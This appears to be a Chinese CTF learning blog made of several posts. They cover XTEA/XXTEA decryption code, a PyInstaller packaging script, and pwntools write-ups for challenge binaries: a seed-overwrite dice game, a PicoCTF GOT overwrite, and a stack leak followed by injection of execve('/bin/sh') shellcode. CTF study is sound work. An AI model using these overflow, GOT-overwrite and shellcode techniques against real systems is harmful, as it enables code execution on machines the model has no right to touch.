else:
cipher_bytes = ciphertext.encode('utf-8')

# 确保数据长度是8的倍数
if len(cipher_bytes) % 8 != 0:
padding = 8 - (len(cipher_bytes) % 8)
cipher_bytes += b'\0' * padding

# 分块解密
decrypted = bytearray()
for i in range(0, len(cipher_bytes), 8):
block = cipher_bytes[i:i+8]

# 解包为两个32位整数
v0, v1 = int.from_bytes(block[:4], 'big'), int.from_bytes(block[4:], 'big')
k = [int.from_bytes(key_bytes[i*4:(i+1)*4], 'big') for i in range(4)]

# XTEA解密过程
delta = 0x9E3779B9
sum_val = (delta * 32) & 0xFFFFFFFF

for _ in range(32):
v1 = ((v1 - (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum_val + k[(sum_val >> 11) & 3]))) & 0xFFFFFFFF
sum_val = (sum_val - delta) & 0xFFFFFFFF
v0 = ((v0 - (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum_val + k[sum_val & 3]))) & 0xFFFFFFFF

# 打包解密结果
decrypted_block = v0.to_bytes(4, 'big') + v1.to_bytes(4, 'big')
decrypted.extend(decrypted_block)

try:
return decrypted.decode('utf-8').rstrip('\0')
except UnicodeDecodeError:
return decrypted.hex()

except Exception as e:
return f"🛑 解密错误: {str(e)}"

xxtea.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
def decrypt(ciphertext, key):
"""XXTEA解密算法"""
try:
# 确保密钥长度为16字节
key_bytes = key.encode('utf-8')
if len(key_bytes) < 16:
key_bytes = key_bytes.ljust(16, b'\0')
elif len(key_bytes) > 16:
key_bytes = key_bytes[:16]

# 转换密文为字节
if all(c in '0123456789abcdefABCDEF' for c in ciphertext) and len(ciphertext) % 2 == 0:
cipher_bytes = bytes.fromhex(ciphertext)
else:
cipher_bytes = ciphertext.encode('utf-8')

# 确保数据长度是4的倍数
if len(cipher_bytes) % 4 != 0:
padding = 4 - (len(cipher_bytes) % 4)
cipher_bytes += b'\0' * padding

# 解包为32位整数数组
n = len(cipher_bytes) // 4
v = [int.from_bytes(cipher_bytes[i*4:(i+1)*4], 'big') for i in range(n)]
k = [int.from_bytes(key_bytes[i*4:(i+1)*4], 'big') for i in range(4)]

# XXTEA解密过程
delta = 0x9E3779B9
q = 6 + 52 // n
sum_val = delta * q

for _ in range(q):
e = (sum_val >> 2) & 3
for p in range(n-1, 0, -1):
v[p] = (v[p] - (((v[p-1] << 4) ^ (v[p-1] >> 5)) + v[p-1]) ^ (sum_val + k[(p+e) % 4])) & 0xFFFFFFFF
v[0] = (v[0] - (((v[n-1] << 4) ^ (v[n-1] >> 5)) + v[n-1]) ^ (sum_val + k[e])) & 0xFFFFFFFF
sum_val = (sum_val - delta) & 0xFFFFFFFF

# 打包解密结果
decrypted = bytearray()
for num in v:
decrypted.extend(num.to_bytes(4, 'big'))

try:
return decrypted.decode('utf-8').rstrip('\0')
except UnicodeDecodeError:
return decrypted.hex()

except Exception as e:
return f"🛑 解密错误: {str(e)}"


# 使用示例
if __name__ == "__main__":
# 示例1: 解密十六进制格式的密文
ciphertext = "0123456789abcdef" # 示例密文(十六进制)
key = "1234567890123456" # 16字节密钥
plaintext = decrypt(ciphertext, key)
print(f"解密结果: {plaintext}")

# 示例2: 解密字符串格式的密文
ciphertext = "encrypted_data" # 示例密文(字符串)
key = "mysecretkey1234" # 16字节密钥
plaintext = decrypt(ciphertext, key)
print(f"解密结果: {plaintext}")

package.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import os
import subprocess
import sys
from pathlib import Path

def check_dependencies():
"""检查并安装必要的依赖"""
required = [
'pyinstaller',
'opencv-python',
'pillow'
]

try:
import tkinter
except ImportError:
print("错误: 需要安装 tkinter (通常是 Python 自带)")
sys.exit(1)

for package in required:
try:
__import__(package)
except ImportError:
print(f"正在安装 {package}...")
subprocess.check_call([sys.executable, "-m", "pip", "install", package])

def build_exe():
"""构建 EXE 文件"""
# 获取当前脚本所在目录
base_dir = Path(__file__).parent

# 视频文件路径 (确保视频文件存在)
video_file = "富士山的星空.mp4"
if not (base_dir / video_file).exists():
print(f"错误: 视频文件 {video_file} 不存在!")
sys.exit(1)

# 图标文件路径 (可选)
icon_file = "linkpwn.ico"
icon_param = f"--icon={icon_file}" if (base_dir / icon_file).exists() else ""

# 加密模块列表
crypto_modules = ['xor1', 'rc4', 'tea', 'xtea', 'xxtea']

# 构建 PyInstaller 命令
cmd = [
'pyinstaller',
'--onefile', # 打包成单个文件
'--windowed', # 不显示控制台窗口
'--noconsole', # 同 --windowed
'--clean', # 清理临时文件
'--noconfirm', # 覆盖输出目录不提示
'--name=linkpwntool', # 输出文件名
'--add-data', f'{video_file};.', # 添加视频文件
]

# 添加图标 (如果存在)
if icon_param:
cmd.append(icon_param)

# 添加加密模块
for mod in crypto_modules:
mod_file = f"{mod}.py"
if (base_dir / mod_file).exists():
cmd.extend(['--add-data', f'{mod_file};.'])
else:
print(f"警告: 加密模块 {mod_file} 不存在!")

# 添加主程序
cmd.append('main.py')

# 执行打包命令
try:
print("开始打包...")
subprocess.check_call(cmd)
print("\n打包成功! EXE 文件位于 dist/ 目录")

# 复制视频文件到 dist 目录 (PyInstaller 的 --add-data 有时会失效)
if (base_dir / 'dist').exists():
import shutil
shutil.copy(base_dir / video_file, base_dir / 'dist' / video_file)
print(f"已复制视频文件到 dist 目录")
except subprocess.CalledProcessError as e:
print(f"\n打包失败: {e}")
except Exception as e:
print(f"\n发生错误: {str(e)}")

if __name__ == "__main__":
check_dependencies()
build_exe()

运行

1
python3 package.py  #mp4可自己选择把脚本中的mp4换成你自己mp4的名字;或者你直接把自己的MP4名字换成富士山的星空

运行成功在dist下有个exe,点击运行即可

这里主要记一下seed的覆盖,srand(seed);v2 = rand() % 6 + 1;其中rand的生成是依靠seed的,我们只要找到seed与输入值之间的偏移将seed修改为我们想要的值,就可以预测rand的生成

这是攻防世界dice_game的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
from ctypes import *
p=remote('61.147.171.105','57464')
libc = cdll.LoadLibrary("libc.so.6")
p.recv()
payload=0x40*b"a"+p64(0) #buf与seed的偏移是0x40
p.sendline(payload)

a=[]
for i in range(50):
a.append(libc.rand()%6+1)
print(a)
for i in a:
p.recv()
print(p.recv())
p.sendline(str(i))
p.interactive()

pwn的题一般是栈溢出,格式化漏洞,堆利用,逻辑漏洞

其中据我了解堆利用比栈的难度高很多,逻辑漏洞更是灵活。

这次恰好碰到一个逻辑漏洞记录一下。

1

所以可以直接写exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
r=remote('node5.buuoj.cn',25642)

elf=ELF('./PicoCTF_2018_got-shell')
puts_got=elf.got['puts']
win_addr=0x0804854B

r.sendlineafter(b"I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?", hex(puts_got))

r.recv()
r.sendline(hex(win_addr))

r.interactive()

直接记重点,怎么用pwndbg找内存中的迷宫

1
2
3
4
gdb 文件名
b Step_1 #把段点下在Step_1
r #开始运行
finish #返回主函数,此时Step_1的函数已经执行完了
  • x:查看内存
  • 49:49个单元
  • d:按照10进制查看
  • w:四个字节为一个单元(int)
  • $rsp:内存地址在rsp中

最终查内存的命令

1
x /49dw $rsp#其他题根据具体情况自己调整

1

1
2
3
4
5
6
7
1 0 0 1 1 1 1
1 0 1 1 0 0 1
1 1 1 0 1 1 1
0 0 0 1 1 0 0
1 1 1 1 0 0 0
1 0 0 0 1 1 1
1 1 1 1 0 1 1

然后我在写下本题的思路step_0和step_1都是构造迷宫。我们已经通过动态调试得到了,感觉还可以就是自己模拟伪代码构造出迷宫,但是我能力有限,以后再试试。

step_2大概得意思就是w上,s下,a左,d右的意思,然后都要走1

2

最后得到flag

1
UNCTF{ssddwdwdddssaasasaaassddddwdds}

  1. 这题主要记录一下怎么看汇编

    1

  2. 这题的思路就是在栈上写入shellcode,所以我们就要去找栈的地址。

    这里就需要要一个payload

    1
    payload = b'a'* 0x14 + p32(0x8048037)

    0x8048037就是write的返回地址,send这个payload后esp的内容就是栈上0x8048037的内容,将stack上的内容泄露出来。还就就是为什么是0x14不用加0x04,我们可以看到在retn前没有leave,所以不用+0x04。

  3. 用下面这一脚本可泄露stack的地址

    1
    2
    3
    4
    5
    6
    7
    from pwn import *
    context.log_level="debug"
    #p = process('./start')
    p=remote('node3.buuoj.cn',26163)
    payload = 'A'*0x14 + p32(0x8048087)
    p.sendafter("Let's start the CTF:",payload)
    p.interactive()

    stack的地址再加上0x14就回到我们原来的位置了,在接入shellcode就可以了。

    完整exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    from pwn import *

    e=ELF('./start')

    context.arch=e.arch
    context.terminal=['tmux','splitw','-h']

    #r=process('./start')
    r=remote("node5.buuoj.cn",29188)

    shellcode=asm("\
    xor edx,edx;\
    xor ecx,ecx;\
    push 0x0068732f;\
    push 0x6e69622f;\
    mov ebx,esp;\
    mov eax,0xb;\
    int 0x80;\
    ")

    r.recvuntil("Let's start the CTF:")
    pay1=0x14*b'a'+p32(0x8048087)
    r.send(pay1)
    stack_addr=u32(r.recv(4))
    print('stack->',hex(stack_addr))

    r.recv()
    pay2=b'b'*20+p32(stack_addr+20)+shellcode
    r.sendline(pay2)


    r.interactive()